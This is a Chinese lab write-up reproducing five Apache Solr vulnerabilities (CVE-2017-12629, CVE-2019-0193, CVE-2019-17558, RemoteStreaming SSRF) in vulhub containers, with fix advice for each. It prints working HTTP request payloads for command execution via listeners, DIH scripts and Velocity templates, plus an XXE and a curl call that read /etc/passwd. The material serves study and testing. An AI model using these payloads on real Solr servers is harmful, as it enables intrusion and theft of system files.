本次漏洞的复现环境均是由docker+vulhub搭建,复现环境根据自身情况决定,本文章只提供vulhub的漏洞复现。
CVE-2017-12629—Apache Solr 远程命令执行漏洞
漏洞简介
Apache Solr 是一个开源的搜索服务器。Solr 使用 Java 语言开发,主要基于 HTTP 和 Apache Lucene 实现。原理大致是文档通过Http利用XML加到一个搜索集合中。查询该集合也是通过http收到一个XML/JSON响应来实现。此次7.1.0之前版本总共爆出两个漏洞:XML实体扩展漏洞(XXE)和远程命令执行漏洞(RCE),二者可以连接成利用链,编号均为CVE-2017-12629。
本环境测试RCE漏洞。
受影响版本
lApache Solr<7.1
lApache Lucene<7.1
漏洞搭建
无需编译,直接运行漏洞环境
docker--compose up -d
命令执行成功后,访问
http://your-ip:8983/
即可查看到Apache solr的管理页面,无需登录。
漏洞复现
访问页面默认会有一个叫demo的core
我们先通过如下API获取所有的core:
http://your-ip:8983/solr/admin/cores?indexInfo=false&wt=json
然后Burp抓包
首先创建一个listener,其中exe的值为我们想执行的命令,args的值是命令参数:
{"add-listener":{"event":"postCommit","name":"b2","class":"solr.RunExecutableListener","exe":"sh","dir":"/bin/","args":["-c", "touch /tmp/success"]}}
请求数据包里的name可以随意修改的,但不能重复使用,这里我把name改成b2
然后进行update操作,触发刚才添加的listener:
触发成功后执行命令
docker-compose exec solr bash
进入容器,可见/tmp/success已成功创建:
返回solr页面的demo中发现在configoverlay.json文件中保存着listener。此时这里无法直接删除,只能依赖burp
通过name来删除,name为上面所设置的b2
删除成功
修复建议
1.升级更高版本
2.添加Solr访问控制,包括禁止本地直接未授权访问
漏洞原理与分析可以参考:
https://www.exploit-db.com/exploits/43009
https://paper.seebug.org/425/
CVE-2017-12629—Apache Solr XML实体注入漏洞
漏洞简介
当通过Solr web API导入XML数据的时候,攻击者可以通过精心构造的XML文件来注入恶意代码或进行XML实体注入攻击。影响版本为Apache Solr 5.0.0至7.1.0。成功利用该漏洞可能导致敏感信息泄露、服务器被入侵和执行远程代码等风险。
受影响版本
Apache Solr 5.0.0—7.1.0
漏洞环境
运行漏洞环境
docker-compose up -d
命令执行成功后访问http://your-ip:8983/即可查看到Apache solr的管理页面,无需登录。
漏洞复现
由于返回包中不包含我们传入的XML中的信息,所以这是一个Blind XXE漏洞,发送如下数据包(自行修改其中的XXE Payload):
GET /solr/demo/select?q=%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22UTF-8%22%3F%3E%0A%3C!DOCTYPE%20root%20%5B%0A%3C!ENTITY%20%25%20remote%20SYSTEM%20%22https%3A%2F%2Fbaidu.com%2F%22%3E%0A%25remote%3B%5D%3E%0A%3Croot%2F%3E&wt=xml&defType=xmlparser HTTP/1.1
Host: your-ip:8983
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept:*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
由此可证明XXE漏洞存在,进而可以利用XXE漏洞进行文件读取操作
首先另起一台服务器,在攻击机的网站的网站根目录下生成一个d.dtd文件,开启apache服务,文件内容如下:
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % ent "<!ENTITY data SYSTEM ':%file;'>">
构造payload:
<r></r>
编码后的payload:
%3C%3fxml+version%3d%221.0%22+%3f%3E%3C!DOCTYPE+root[%3C!ENTITY+%25+xxe+SYSTEM+%22http%3a%2f%2f*.*.*.*%2fd.dtd%22%3E%25xxe%3b%25ent%3b]%3E%3Cr%3E%26data%3b%3C%2fr%3E&wt=xml&defType=xmlparser
利用burp发送如下数据包,
GET /solr/demo/select?q=%3C%3fxml+version%3d%221.0%22+%3f%3E%3C!DOCTYPE+root[%3C!ENTITY+%25+xxe+SYSTEM+%22http%3a%2f%2f*.*.*.*%2fd.dtd%22%3E%25xxe%3b%25ent%3b]%3E%3Cr%3E%26data%3b%3C%2fr%3E&wt=xml&defType=xmlparser HTTP/1.1
Host: your-ip:8983
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
成功读取
修复建议
1.升级Solr版本至最新的安全版本
2.禁用外部实体
漏洞原理与分析可以参考:
https://www.exploit-db.com/exploits/43009/
https://paper.seebug.org/425/
CVE-2019-0193—Apache Solr 远程命令执行漏洞
漏洞简介
Apache Solr 是一个开源的搜索服务器。Solr 使用 Java 语言开发,主要基于 HTTP 和 Apache Lucene 实现。此次漏洞出现在Apache Solr的DataImportHandler,该模块是一个可选但常用的模块,用于从数据库和其他源中提取数据。它具有一个功能,其中所有的DIH配置都可以通过外部请求的dataConfig参数来设置。由于DIH配置可以包含脚本,因此攻击者可以通过构造危险的请求,从而造成远程命令执行。
本环境测试RCE漏洞。
受影响版本
Apache Solr<8.2.0
漏洞环境
执行以下命令运行漏洞环境
docker-compose up -d
docker-compose exec solr bash bin/solr create_core -c test -d example/example-DIH/solr/db
这是一个使用docker容器部署Solr搜索引擎的命令。其中,
docker-compose exec solr
表示在名为solr的Docker容器中执行命令。
接下来的部分
bin/solr create_core -c test -d example/example-DIH/solr/db
是告诉Solr创建一个名为test的核,并使用位于example/example-DIH/solr/db目录下的配置来初始化这个核。实际上,这个命令在 Solr 中完成了新建一个索引库的操作。
环境开启后访问
http//:your-ip:8983
即可查看到Apache solr的管理页面,无需登录。版本为8.1.1
漏洞复现
如上图所示,首先打开刚刚创建好的test核心,选择Dataimport功能并选择debug模式,修改它的Dataconfig字段,填入以下POC:
使用exec函数执行touch/tmp/success命令
<dataConfig>
<dataSource type="URLDataSource"/>
<script><![CDATA[
function poc(){ java.lang.Runtime.getRuntime().exec("touch /tmp/success");
}
]]></script>
<document>
<entity name="stackoverflow"
url="https://stackoverflow.com/feeds/tag/solr"
processor="XPathEntityProcessor"
forEach="/feed"
transformer="script:poc" />
</document>
</dataConfig>
//这是Solr的Data Import Handler (DIH)的数据源配置文件
该文件使用了URLDataSource来获取数据,并使用XPathEntityProcessor对数据进行处理。
但是注意到script元素中的代码具有危险性,因为它试图在服务器上执行touch /tmp/success命令。这表示,如果该配置文件被用于DIH,那么攻击者可能有机会利用这个漏洞来在服务器上执行任意命令。
点击Execute with this Confuguration,Burp
抓包发送以下请求包:
POST /solr/test/dataimport?_=1684832894234&indent=on&wt=json HTTP/1.1
Host: your-ip:8983
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Content-Length: 678
Origin: http://your-ip:8983
Connection: close
Referer: http://your-ip:8983/solr/
command=full-import&verbose=false&clean=true&commit=true&debug=true&core=test&dataConfig=%3CdataConfig%3E%0A++%3CdataSource+type%3D%22URLDataSource%22%2F%3E%0A++%3Cscript%3E%3C!%5BCDATA%5B%0A++++++++++function+poc()%7B+java.lang.Runtime.getRuntime().exec(%22touch+%2Ftmp%2Fsuccess%22)%3B%0A++++++++++%7D%0A++%5D%5D%3E%3C%2Fscript%3E%0A++%3Cdocument%3E%0A++++%3Centity+name%3D%22stackoverflow%22%0A++++++++++++url%3D%22https%3A%2F%2Fstackoverflow.com%2Ffeeds%2Ftag%2Fsolr%22%0A++++++++++++processor%3D%22XPathEntityProcessor%22%0A++++++++++++forEach%3D%22%2Ffeed%22%0A++++++++++++transformer%3D%22script%3Apoc%22+%2F%3E%0A++%3C%2Fdocument%3E%0A%3C%2FdataConfig%3E&name=dataimport
执行docker-compose exec solr ls /tmp,可见/tmp/success已成功
创建
修复建议
1.更新Solr版本至安全版本
2.禁用Solr远程调试
3.禁止使用或加以修改Solr的Data Import Handler (DIH)的数据源配置文件
漏洞原理与分析可以参考:
https://mp.weixin.qq.com/s/typLOXZCev_9WH_Ux0s6oA
https://paper.seebug.org/1009/
CVE-2019-17558—Apache Solr Velocity 注入远程命令执行漏洞
漏洞简介
Apache Solr 是一个开源的搜索服务器。在其 5.0.0 到 8.3.1版本中存在输入验证错误漏洞,用户可以注入自定义模板,通过Velocity模板语言执行任意命令。
受影响版本
5.0.0 <=Apache Solr<=8.3.1
漏洞环境
无需编译,直接开启环境,执行如下命令启动一个Apache Solr 8.2.0服务器:
docker-compose up -d
结果报错了
write /var/lib/docker/tmp/GetImageBlob910627836: no space left on device
原来docker 的安装目录已经满了
l先查看目录下的剩余空间
docker system df
l查看docker 镜像
docker images
l删除多余无用的镜像
docker rmi [images ID]
删除后重新执行命令,成功拉取镜像
服务启动后,访问
http://your-ip:8983
即可查看到一个无需权限的Apache Solr服务。版本为8.2.0
漏洞复现
访问页面默认会有一个叫demo的core
默认情况下params.resource.loader.enabled配置未打开,无法使用自定义模板。我们先通过如下API获取所有的core:
http://your-ip:8983/solr/admin/cores?indexInfo=false&wt=json
//这是用于Solr的请求URL,其作用是获取Solr服务器上所有Core的信息。
indexInfo=false指示不返回Core的索引信息。
wt=json指示返回JSON格式的响应。
Burp抓包,通过如下请求开启params.resource.loader.enabled
修改请求体如下:
POST /solr/demo/config HTTP/1.1/
Host: your-ip:8983
Accept: *
Accept-Language: en-US,en;q=0.5
Connection: close
Content-Length: 259
{
"update-queryresponsewriter": {
"startup": "lazy",
"name": "velocity",
"class": "solr.VelocityResponseWriter",
"template.base.dir": "",
"solr.resource.loader.enabled": "true",
"params.resource.loader.enabled": "true"//开启params.resource.loader.enabled
}
}
之后,注入Velocity模板即可执行任意命令:
Payload:
/solr/demo/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end
修复建议
1.将Apache solr升级到最新版本
2.禁用 Velocity 模板引擎,或使用反向代理来限制对其访问
具体漏洞原理和POC可以参考:
https://nvd.nist.gov/vuln/detail/CVE-2019-17558
https://issues.apache.org/jira/browse/SOLR-13971
https://github.com/jas502n/solr_rce
Apache Solr RemoteStreaming 文件读取与SSRF漏洞
漏洞简介
Apache Solr是一个开源的搜索服务器,它用于创建基于Lucene的搜索引擎。其中RemoteStreaming处理器可以通过HTTP请求来获取远程的文件并将其合并到查询结果中。但是如果远程文件的URL中包含了攻击者控制的恶意URL,则可能触发服务器端请求伪造(SSRF)攻击,从而导致服务器访问恶意URL并获取敏感信息甚至执行恶意操作。
受影响版本
Apache Solr 5.0.0 - 8.8.1
漏洞环境
执行如下命令启动solr 8.8.1:
docker-compose up -d
环境启动后,访问http://your-ip:8983即可查看Apache Solr后台。
漏洞复现
首先,访问
http://your-ip:8983/solr/admin/cores?indexInfo=false&wt=json
获取数据库名:demo
利用好curl命令发送如下数据包,修改数据库demo的配置,开启RemoteStreaming:
curl -i -s -k -X $'POST'
-H $'Content-Type: application/json' --data-binary $'{"set-property":{"requestDispatcher.requestParsers.enableRemoteStreaming":true}}'
$'http://your-ip:8983/solr/demo/config'
返回成功
再通过stream.url读取任意文件:
curl -i -s -k 'http://your-ip:8983/solr/demo/debug/dump?param=ContentStreams&stream.url=file:///etc/passwd'
读取成功
修复建议
1.升级版本至8.9.0或更高版本。
2.可以下载Solr的相关补丁进行安装。
3.检查所有用户输入数据,使用白名单和黑名单过滤恶意URL,特别是RemoteStreaming处理器的输入参数。建议严格限制可以访问远程URL的参数。
参考链接:
https://mp.weixin.qq.com/s/3WuWUGO61gM0dBpwqTfenQ
本文版权归作者和微信公众号平台共有,重在学习交流,不以任何盈利为目的,欢迎转载。
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。公众号内容中部分攻防技巧等只允许在目标授权的情况下进行使用,大部分文章来自各大安全社区,个人博客,如有侵权请立即联系公众号进行删除。若不同意以上警告信息请立即退出浏览!!!
敲敲小黑板:《刑法》第二百八十五条 【非法侵入计算机信息系统罪;非法获取计算机信息系统数据、非法控制计算机信息系统罪】违反国家规定,侵入国家事务、国防建设、尖端科学技术领域的计算机信息系统的,处三年以下有期徒刑或者拘役。违反国家规定,侵入前款规定以外的计算机信息系统或者采用其他技术手段,获取该计算机信息系统中存储、处理或者传输的数据,或者对该计算机信息系统实施非法控制,情节严重的,处三年以下有期徒刑或者拘役,并处或者单处罚金;情节特别严重的,处三年以上七年以下有期徒刑,并处罚金。
原文始发于微信公众号(巢安实验室):Vulhub的Apache Solr漏洞总结
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论